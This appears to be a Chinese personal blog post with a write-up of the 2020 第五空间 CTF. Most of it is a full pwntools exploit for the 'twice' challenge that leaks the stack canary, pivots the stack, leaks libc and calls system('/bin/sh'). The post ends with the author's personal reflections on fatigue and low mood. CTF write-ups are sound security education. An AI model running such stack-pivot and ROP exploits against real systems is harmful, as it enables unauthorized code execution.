2020第五空间wp

最近很懒了,被学校的一些恶心人的操作搞了身心俱疲
这第五空间,据说去年是个垃圾比赛,水一水进决赛恰烂钱,我寻思着和北辰一样拿10w快乐一下,但是连线下都没进…
今年的题目质量据说比去年更有提高,起码不是全pwn了是不是
只给了3个pwn
签到被KMFL秒了
其他两个弱智题
一个of,给了源码,但是远程测得结果和源码不一样
还有一个arm题,环境起不来没办法跑当时(后来起来了也不知道咋调)
都没有远程环境了,连黑盒测试都测试不了
算了,就贴一个签到题的好了

Pwn

twice


没什么好说的,泄露canary,泄露rbp,调试得栈地址,栈迁移到栈上写ROP链
exp

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
import sys
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './pwn' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("121.36.59.116",9999)
elf=ELF(binary)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def exp():
    p.recvuntil(">")
    p.send("bbbb"+"a"*85)
    p.recvuntil("a"*85)
    canary = u64(p.recv(7).rjust(8,"\x00"))
    print hex(canary)
    stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x70
    log.success("stack_addr==>" + hex(stack_addr))
    p.recvuntil(">")
    payload = p64(0) + p64(0x0000000000400923) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400630)
    payload += "a"*(88-len(payload))
    payload += p64(canary) + p64(stack_addr) + p64(0x0000000000400879)  # 我连gadget都懒得定义了,凑合看吧,动手找一找应该就知道是什么了
    p.send(payload)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) 
    libc_base = puts_addr - libc.sym['puts']
    log.success("puts_addr==>" + hex(puts_addr))
    log.success("libc_base==>" + hex(libc_base))
    system = libc_base + libc.sym['system']
    binsh = libc_base + libc.search("/bin/sh").next()
    p.recvuntil(">")
    p.send("bbbb"+"a"*85)
    p.recvuntil("a"*85)
    canary = u64(p.recv(7).rjust(8,"\x00"))
    print hex(canary)
    stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x70
    log.success("stack_addr==>" + hex(stack_addr))
    p.recvuntil(">")
    payload = p64(0) + p64(0x0000000000400923) + p64(binsh) + p64(system) + p64(0xdeadbeef)
    payload += "a"*(88-len(payload))
    payload += p64(canary) + p64(stack_addr) + p64(0x0000000000400879)
    p.send(payload)
    p.interactive()
exp()

Reverse

咕咕咕……
还没做出来,后面找时间做吧
很可能直接不做了(x




后面可能很长一段时间不会更博客了,没有强有力的激励,感觉心态特别难调整得过来
透过屏幕看到的其他人,总感觉他们的生活是那么的愉悦多彩,自己却好像过的不是人过的日子
最近特别懒,什么都不想动,只想睡觉,连这篇exp,都是比赛结束一周后才贴上来的,这一天天的感觉什么事情都没做但是又特别累,负面情绪特别严重,老是被一些还没到来的事情烦恼,天天想这那的,其实自己都懂该来的都会来,老想着它也阻止不了改变不了什么,只会徒增烦恼,但就是忍不住就会去想这些事情,把自己弄得很疲惫,同时又恨自己无力改变,很多特别小的事情,都没有能力去控制,更别说做出什么大事业,把自己关在电脑里,可能仅仅是一种逃避罢了,终究还是要面对,但是对未来的事情,却又底气不足
唯一可以强忍着不让自己崩溃的,可能就是胸前的党徽还有那份信仰了

您的鼓励将支持我继续努力!